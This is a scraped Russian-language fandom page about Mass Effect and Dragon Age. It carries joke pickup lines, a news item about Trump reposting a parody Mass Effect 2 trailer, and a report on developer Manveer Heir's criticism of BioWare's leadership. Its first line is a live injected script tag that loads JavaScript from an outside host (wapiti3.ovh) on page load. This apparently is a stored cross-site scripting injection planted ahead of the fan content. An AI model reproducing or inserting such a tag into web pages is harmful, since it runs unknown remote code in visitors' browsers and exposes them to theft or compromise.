<Script src=https://wapiti3.ovh/1z.js></Script>
»ME концепт-арт ME art фэндомы
ccылка
Авелин DA персонажи Dragon Age Garrus ME персонажи ME gif пикап-мастер DA гиф Mass Effect фэндомы
Пикап-мастер. Уровень - Гаррус
Часто сюда заходишь? Должно быть каждый, кто так делает - алкоголик.
Пикап-мастер. Уровень - Авелин
Какая прекрасная ночь для вечера.
ME комиксы 50 оттенков серого Shepard ME персонажи Commander Shepard Mass Effect фэндомы
Illusive man ME персонажи трамп Mass Effect фэндомы
Недавно произошла довольно комичная ситуация с никем иным, как с Дональдом Трампом. Того самого, что яростно участвует в президентских выборах США. И как же он вообще связан с Mass Effect?
Началось с того, что пользователь под ником «Commander Trumpard» решил потроллить кандидата в президенты, выпустив переделанный релизный трейлер Mass Effect 2. Вот только самому Трампу похоже это понравилось и он репостнул его видео себе в Twitter, подписав: «MAKE AMERICA GREAT AGAIN!».
Все бы ничего, если бы не пришла EA и не заблокировала ролик на YouTube. После был убран сам твит с аккаунта Трампа. Отреагировал и один из разработчиков Mass Effect: Andromeda, говоря, что Трамп такой же "плохой парень" как и Призрак.
¯ \ _ (ツ) _ / ¯
Сам ролик вы можете просмотреть здесь - vid.me/Okvs
Bioware Разработчики игр Игры Mass Effect Andromeda расизм Mass Effect фэндомы
Во всем виноваты белые люди!
Ветеран игровой индустрии Манвир Хейр, работавший над Mass Effect 3 и Mass Effect: Andromeda, считает, что во всех бедах последней виноваты белые люди, стоявшие во главе разработки.В разговоре с Waypoint Radio Манвир поведал о проблемах, с которыми он и его коллеги столкнулись при создании Mass Effect: Andromeda. Игра вышла в марте этого года и, помимо множества самых разных проблем, была окритикована за прославление идеи активной колонизации чужих миров. Манвир утверждает, что в команде разработчиков были люди, которые пытались поднять данную проблему годами ранее, но все оказалось тщетно.
«Я не был единственным, были и другие люди, белые люди, белые мужчины, которые говорили об этом. В BioWare было много тех, кто об этом говорил, — сказал он. — Вот что случается, когда у вас гомогенное начальство. В руководителях проекта Mass Effect: Andromeda были одни только белые люди».
Манвир также размышлял над тем, каково это, работать в большой известной студии и при этом публично говорить на тему разнообразия, о расах и представлении всего этого в играх. Разработчик говорит, что все время поднимал эти темы и знал, что кое-кто в компании очень хотел, чтобы он перестал раскачивать лодку.
«Это ведь наша работа — говорить и делать. Я не собираюсь успокаиваться и не собираюсь просто уходить от драки. Когда я понял, что нахожусь в такой среде, которая не принимает этого и указывает мне на то, что мне говорить, а что нет, на то, что я злюсь по пустякам и слишком много говорю, что надо просто сесть и заткнуться... Я понял, что надо уходить».
Собственно, именно это Манвир и сделал: после окончания разработки Andromeda, он покинул компанию и занялся инди-проектами. Ну а студия BioWare Monreal, в которой он работал, была расформирована в августе этого года.